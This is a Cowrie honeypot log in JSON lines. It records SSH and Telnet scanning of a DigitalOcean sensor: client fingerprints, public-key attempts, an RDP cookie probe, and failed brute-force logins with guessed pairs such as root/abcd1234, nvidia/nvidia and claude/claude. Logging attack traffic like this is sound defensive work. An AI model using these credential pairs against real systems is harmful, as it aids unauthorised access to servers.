{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:29:54:75:5c:d7:7a:10:15:5d:6e:ff:49:55:6a:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClzwynu8TrTsbqv+gk0dp+59Vfoj5t9YEs35tGY+oFgIODa3BOtMNXQg5xjG0JAMYVdTcCChVAFhmNwK3vrtbA6JvVNCQzgJogY/GNwvlfqufXUb1CbRRYxdbKg/3R4wwJVpnVodduVxlKIIFTRx4k7Q/XIhPveDfqJnUJ2D9egzWt5tI5XTX9qeiyVUAeTi75wV7iWgDISZSXPjJx6Z3vsJxz2TheRDhiFXn2YWD1r3IF76atQXHzsUxux5yov/MnMRoQLDVGnyzw2E+OD2i11eZMiaddPrl1Ln2ynjRtJXDCv8HUts8QRqBCRzaJoLn0pvnkUbyuXTCPx5rrl8zGNbPX9FoxTiIir2IyHPMnX1Azr9S4zxq328OUTxhA5uYclNbXjehFMKeZSr4bMuTPy0BxQqEdt9G9Yphg7ZoUMRoCJbkbG/zMvLedm6wpO4+p+yUgTstEzQzznHNgu4iNR+HejsiBHKCgAHk8ZClACf87xMfMk4yX4PmaFeetblfQcKyFUduBguPV50czpyPj21O+14YmSOchdo9AuTRblgQmztrTF7JJpcFP2ifREJE7xFXPA953YWApfpWL4QWXx35WaKJfqysuVjgTZVMWuyorZK/Elt5Ot69cFXo9TlFrGwXV3x34YVlj1MGnsk4cfbTTJQNwEWhOwrKE9hZIxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:59.792914Z","src_ip":"216.59.16.45","session":"224a664bc6ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:26:85:e1:bd:f8:b2:f1:95:3f:4e:d5:ce:13:a8:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxmoUMtDdJ3q+PmQLKFd4CPmXl/FuVu35bagW4wO/0B1AZC0+EIzgxdL/5siHqL5Wpvx+DcEiKAO1mG/QSPSvTxb/vIRDRXCVEUeiGwuqZYeJrK8qXcEa8PE2ygimp3Ubs818sfaVyDI04tRv5+Co2i7MXOAaGa0qvE4KVUjpMhDDXL/cLJOBdVQ1hrTOruJkhtf323/2WcHNz7v9hu58lnU1hWGfBitZu0mb5pP0ZjKlmcUCfmwqko19V5Yw8IP6sRWsQm2g5bE+PfkNVepfVCWlYD9fPWaKRlpfMBgIiyhhgDXXsWQy1Cf97Ax5ZSabcvvYMl+M66bLLXTFiZrHF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:26:85:e1:bd:f8:b2:f1:95:3f:4e:d5:ce:13:a8:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:59.815200Z","src_ip":"216.59.16.45","session":"224a664bc6ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:26:85:e1:bd:f8:b2:f1:95:3f:4e:d5:ce:13:a8:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxmoUMtDdJ3q+PmQLKFd4CPmXl/FuVu35bagW4wO/0B1AZC0+EIzgxdL/5siHqL5Wpvx+DcEiKAO1mG/QSPSvTxb/vIRDRXCVEUeiGwuqZYeJrK8qXcEa8PE2ygimp3Ubs818sfaVyDI04tRv5+Co2i7MXOAaGa0qvE4KVUjpMhDDXL/cLJOBdVQ1hrTOruJkhtf323/2WcHNz7v9hu58lnU1hWGfBitZu0mb5pP0ZjKlmcUCfmwqko19V5Yw8IP6sRWsQm2g5bE+PfkNVepfVCWlYD9fPWaKRlpfMBgIiyhhgDXXsWQy1Cf97Ax5ZSabcvvYMl+M66bLLXTFiZrHF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:59.819938Z","src_ip":"216.59.16.45","session":"224a664bc6ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:5b:14:9e:d3:32:28:63:24:cc:a7:d5:b7:bf:52:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXNTeXEg75H5wj/atmbbtD92nFVfvETdYYR3vmWR/Kp3CZD/9DNIeKDEEkCZ28cZmOiRGY7nbQRlsIslEGpdi0QwNvmXa2+Nrzk/pCcPByicUfLi5eOi/ivlPVCWN/9JN91F7Ql8BN7Hj+qC9rI0bvsqOZcLLynYUooq192mP/hzKAq4cjWmLTUWKpaSwj4Xnf8Uc3/xQbJIb5WQEV9voFmIStKlXLQdYs2MkDYnG/GqLUyF9F2XDxz/KAHiK93cftQSS3+qmfvWBFo6BxJHT2XeOlMkbuu+8u+EK2cs6KSn5a8sRIu97EOA1rDPTaxLIWZ3FxIeoOpNpsRJ6+63rn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:5b:14:9e:d3:32:28:63:24:cc:a7:d5:b7:bf:52:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:59.843750Z","src_ip":"216.59.16.45","session":"224a664bc6ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:5b:14:9e:d3:32:28:63:24:cc:a7:d5:b7:bf:52:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXNTeXEg75H5wj/atmbbtD92nFVfvETdYYR3vmWR/Kp3CZD/9DNIeKDEEkCZ28cZmOiRGY7nbQRlsIslEGpdi0QwNvmXa2+Nrzk/pCcPByicUfLi5eOi/ivlPVCWN/9JN91F7Ql8BN7Hj+qC9rI0bvsqOZcLLynYUooq192mP/hzKAq4cjWmLTUWKpaSwj4Xnf8Uc3/xQbJIb5WQEV9voFmIStKlXLQdYs2MkDYnG/GqLUyF9F2XDxz/KAHiK93cftQSS3+qmfvWBFo6BxJHT2XeOlMkbuu+8u+EK2cs6KSn5a8sRIu97EOA1rDPTaxLIWZ3FxIeoOpNpsRJ6+63rn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:59.847418Z","src_ip":"216.59.16.45","session":"224a664bc6ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:59.874709Z","src_ip":"216.59.16.45","session":"224a664bc6ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:00.706881Z","src_ip":"37.143.61.84","session":"b93b6a51b9d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.91554927825928,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:05.504649Z","src_ip":"192.119.13.58","session":"15ce560d0197","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":60944,"dst_ip":"10.17.0.5","dst_port":22,"session":"19dde5c40748","protocol":"ssh","message":"New connection: 103.98.149.87:60944 (10.17.0.5:22) [session: 19dde5c40748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:17.973929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:17.979290Z","src_ip":"103.98.149.87","session":"19dde5c40748","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:18.207097Z","src_ip":"103.98.149.87","session":"19dde5c40748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:18.880998Z","src_ip":"103.98.149.87","session":"19dde5c40748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:20.108788Z","src_ip":"103.98.149.87","session":"19dde5c40748","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.136.152","src_port":52654,"dst_ip":"10.17.0.5","dst_port":22,"session":"21306cc44483","protocol":"ssh","message":"New connection: 43.156.136.152:52654 (10.17.0.5:22) [session: 21306cc44483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:31.998281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:32.006262Z","src_ip":"43.156.136.152","session":"21306cc44483","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:32.245372Z","src_ip":"43.156.136.152","session":"21306cc44483","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deployerpass","message":"login attempt [root/deployerpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:33.231349Z","src_ip":"43.156.136.152","session":"21306cc44483","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:34.477125Z","src_ip":"43.156.136.152","session":"21306cc44483","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":56798,"dst_ip":"159.203.135.109","dst_port":22,"session":"84bde00e1afd","protocol":"ssh","message":"New connection: 152.42.212.128:56798 (159.203.135.109:22) [session: 84bde00e1afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:38.464746Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:38.468969Z","src_ip":"152.42.212.128","session":"84bde00e1afd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:38.471659Z","src_ip":"152.42.212.128","session":"84bde00e1afd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":35860,"dst_ip":"10.17.0.5","dst_port":22,"session":"b32a0ff9709b","protocol":"ssh","message":"New connection: 43.228.112.254:35860 (10.17.0.5:22) [session: b32a0ff9709b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:38.608637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:38.611517Z","src_ip":"43.228.112.254","session":"b32a0ff9709b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:38.830796Z","src_ip":"43.228.112.254","session":"b32a0ff9709b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sector7g","message":"login attempt [root/sector7g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:39.744468Z","src_ip":"43.228.112.254","session":"b32a0ff9709b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:40.968534Z","src_ip":"43.228.112.254","session":"b32a0ff9709b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":34880,"dst_ip":"159.203.135.109","dst_port":22,"session":"bde6f75b18d1","protocol":"ssh","message":"New connection: 193.32.162.151:34880 (159.203.135.109:22) [session: bde6f75b18d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:46.436343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:46.443241Z","src_ip":"193.32.162.151","session":"bde6f75b18d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:46.546017Z","src_ip":"193.32.162.151","session":"bde6f75b18d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:46.855971Z","src_ip":"193.32.162.151","session":"bde6f75b18d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:47.960753Z","src_ip":"193.32.162.151","session":"bde6f75b18d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":60614,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cc93a50a42e","protocol":"ssh","message":"New connection: 147.45.197.250:60614 (10.17.0.5:22) [session: 5cc93a50a42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:47.983279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:47.988241Z","src_ip":"147.45.197.250","session":"5cc93a50a42e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:48.081243Z","src_ip":"147.45.197.250","session":"5cc93a50a42e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blink182","message":"login attempt [root/blink182] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:48.358420Z","src_ip":"147.45.197.250","session":"5cc93a50a42e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:52:49.453306Z","src_ip":"147.45.197.250","session":"5cc93a50a42e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":49218,"dst_ip":"10.17.0.5","dst_port":22,"session":"c035a0604a19","protocol":"ssh","message":"New connection: 37.143.61.84:49218 (10.17.0.5:22) [session: c035a0604a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:33.188664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:33.193460Z","src_ip":"37.143.61.84","session":"c035a0604a19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:33.501378Z","src_ip":"37.143.61.84","session":"c035a0604a19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:35.806195Z","src_ip":"37.143.61.84","session":"c035a0604a19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:36.915384Z","src_ip":"37.143.61.84","session":"c035a0604a19","protocol":"ssh"}
